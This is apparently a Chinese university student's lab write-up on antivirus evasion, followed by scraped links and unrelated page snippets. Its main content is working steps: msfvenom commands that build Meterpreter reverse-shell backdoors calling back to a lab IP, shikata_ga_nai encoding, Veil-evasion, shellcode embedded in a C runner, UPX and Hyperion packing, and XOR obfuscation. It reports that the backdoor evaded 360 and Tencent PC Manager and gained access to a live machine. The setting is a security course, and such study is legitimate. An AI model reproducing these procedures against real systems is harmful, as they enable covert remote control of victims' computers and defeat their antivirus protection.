20165230 Exp3 免杀原理与实践
1.实验内容
- 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
- 2.通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) - 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
2.基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
(2)免杀是做什么?
- 通过伪装,加解密,对shellcode进行变形,利用veil进行重写重编译等手段防止生成的后门被杀软检测出来
(3)免杀的基本方法有哪些?
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳,使其无法进行逆向,比对病毒库中的特征码
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写重编译(veil-evasion)
- 半手工
- 如果你手里只有EXE
改变行为
- 通讯方式
- 例如之前注入所用到的反弹端口连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
3.实验内容
任务一:正确使用免杀工具或技巧
使用msf编码器,msfvenom生成如jar之类的其他文件
- Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里。通过编码后,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
- 编码一次命令如下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_backdoor.exe
放去virscan扫描,结果有点惨,有29个扫描了出来。
编码十次命令如下(用-i参数指定编码次数):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_back2.exe
再放去扫描,少了1个,但感觉没有多大效果。
生成.jar文件夹
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor_java.jar
msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor.php
使用veil-evasion
- 居然安装了一天也没有安装出来,老是卡在展开对象那里,去网上搜也没有找到解决方案,最后实在没办法去拷贝了学长的虚拟机 TAT
- 下面是学长博客里的正常安装方法:
在Kali终端中使用
sudo apt-get install veil
安装,若遇到问题则用sudo apt-get update
和sudo apt-get upgrade
这两个命令更新一下软件包即可:
之后用veil
命令打开Veil,输入y继续安装直至完成
在终端中使用
veil
命令进入应用,输入use evasion
进入veil-evasion
输入use python/meterpreter/rev_tcp.py
,
然后设置回连IP(此处IP是kali)和端口,输入
generate
生成文件,接着输入你想要payload的名字:veil_c_5230:
然后生成了可执行文件。
看看Viruscan的扫描结果怎么样,咦还不错,只有15个了!
自己利用shellcode编程
Linux平台交叉编译Windows应用
使用命令
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.19.129 LPORT=5230 -f c
生成一个c语言格式的shellcode数组用
vim shell1.c
命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 再用
i686-w64-mingw32-g++ shell1.c -o shell1.exe
命令生成可执行文件 - 将后门shell1.exe传到Windows 7并尝试回连:
1.在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=5230 -f exe > shell1.exe注意这里的IP地址为控制端IP,即LinuxIP,生成后门程序
2.在Windows下执行ncat.exe -l 5230 > shell1.exe,这样被控主机就进入了接收文件模式
3.在kali中通过nc 192.168.19.128 5230 < shell1.exe将生成的后门程序传送到Windows主机上.注意这里的IP为被控主机IP,即WindowsIP
回连先ping通,然后再做是没有问题的
还是一样用Viruscan扫描一下
发现并没有改进啊!
用
-e
指定生成shellcode的编码方式,生成新的shellcodemsfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.19.129 -f c
还是不行!!
接下来我换了N种方式变换了主函数,重新生成了shellcode,不断用ncat在两台虚拟机之间传输exe,依然没用,我的内心是崩溃的
- 再试一下老师提供的方法!
- 。。。被删除了
加壳处理
upx压缩壳
upx是一种压缩程序,可以实现加壳的功能,Kali下输入命令
upx shellupx.exe -o shellupx.upxed.exe
:
再去扫一遍,emmmmm,这个壳好像也没用
Hyperion加密壳
进入目录/usr/share/windows-binaries/hyperion/中;
输入命令
wine hyperion.exe -v shell5.upxed.exe shell5.upxed.Hyperion.exe
进行加壳:
再去扫一遍,咦,稍微好了一点点点,不过还是不要加壳了吧
任务二:通过组合应用各种技术实现恶意代码免杀
对shellcode进行免杀变形
- 思路是在上一步里msfvenom生成shellcode的基础上加上了对每一位进行加2运算,并将shellcode与0x5f相异或,使用的codeblocks编译
在经历了N次失败后,已经快要没有信心了,后来我之前相同的代码在主机的Codeblocks编译生成exe,再放去viruscan里扫描 居然成功了!也太神奇了吧
也没有被杀软杀!360和腾讯管家都开了
再回连一下,OK!!
veil+加壳
- 将之前的veil生成的veil_5230.exe,拷贝到/usr/share/windows-binaries/hyperion/目录中
- 进入目录/usr/share/windows-binaries/hyperion/中
- 输入命令wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe进行加壳
- 最后放到viruscan里,发现加壳真的很鸡肋。。。最开始veil生成的exe扫描出来结果是15,这样的方式居然是21!
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 实验环境:被控机是Win0实体机,装有腾讯电脑管家(12.14.19590.218)
- 攻击成功,可以查看她的文件夹
4.实践总结与体会
- 这次实验花了N多天时间,才最终完成,整个过程确实煎熬,先是配置veil不成功,虚拟机崩了两次,再是不论怎样组合shellcode扫描的结果都不变,还有在实验过程中保存在桌面的实验截图突然不见了,被系统删掉了,又只有重新截图,在期间看了很多博客,确是收获了不少。对免杀技术也有了进一步的掌握,让我对病毒的认识有了进一步的提升,同时深刻看出了当今杀毒软件的脆弱以及各杀毒软件之间水平的差异,所以,谨慎小心对于我们这个行业的学生来说是非常重要并且安全威胁是近在眼前的!
5.离实战还缺些什么技术或步骤?
- 如何隐藏后门,让别人不经意触发后门实现控制,
- 如何让后门自启动
20165230 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- uWSGI、WSGI和uwsgi
WSGI wsgi server (比如uWSGI) 要和 wsgi application(比如django )交互,uwsgi需要将过来的请求转给django 处理,那么uWSGI 和 djang ...
- Nvidia和Google的AI芯片战火蔓延至边缘端
AI 的热潮还在持续,AI 的战火自然也在升级.英伟达作为这一波 AI 浪潮中最受关注的公司之一,在很大程度上影响着 AI 的战局.上周在美国举行的 GTC 2019 上,黄仁勋大篇幅介绍了英伟达在 ...
- 5-STM32物联网开发WIFI(ESP8266)+GPRS(Air202)系统方案数据篇(配置保存数据的数据库)
配置信息如下:这是我的python软件和APP软件默认连接的配置 数据库名称:iot 编码utf8 表格名字:historicaldata 字段 id 自增,主键 date ...
- 极光推送JAVA代码示例
一. 准备工作 1. 登录极光推送官网https://www.jpush.cn/,注册账号并登录 2. 创建应用 创建应用过程,详见百度经验:http://jingyan.baidu.com/arti ...
- C# PDF转Image图片
概述 PDF是常用的文件格式之一,通常情况下,我们可以使用itextsharp生产PDF文件:可是如何将PDF文件转换成图片那?目前常用的: 思路1.根据PDF绘画轨迹重新绘制图片: 思路2.是将PD ...
- Spring Boot JPA Entity Jackson序列化触发懒加载的解决方案
Spring Jpa这项技术在Spring 开发中经常用到. 今天在做项目用到了Entity的关联懒加载,但是在返回Json的时候,不管关联数据有没有被加载,都会触发数据序列化,而如果关联关系没有被加 ...
- 静态类(C#)
基本简介: 类可以声明为 static 的,以指示它仅包含静态成员.不能使用 new 关键字创建静态类的实例.静态类在加载包含该类的程序或命名空间时由 .NET Framework 公共语言运行库 ( ...
- Linux重启命令
Linux和windows不同,linux后台运行着许多进程,所以强制关机可能会导致进程的数据丢失使系统处于不稳定的状态.甚至在有的系统中会损坏硬件设备.而在系统关机前使用shutdown命令,系统管 ...
- js中的枚举
在JavaScript中,对象的属性分为可枚举和不可枚举之分,它们是由属性的enumerable值决定的.可枚举性决定了这个属性能否被for…in查找遍历到. js中基本包装类型的原型属性是不可枚举的 ...
- Write your own operating system Day(1)
工具准备: VirtualBox.exe是一个免费的轻巧的虚拟机 Bz.exe是二进制编辑器 NASM则是用来编译汇编语言的,具体使用方法自行百度 HZK16.fnt 中文GB2312的二进制点阵文件 ...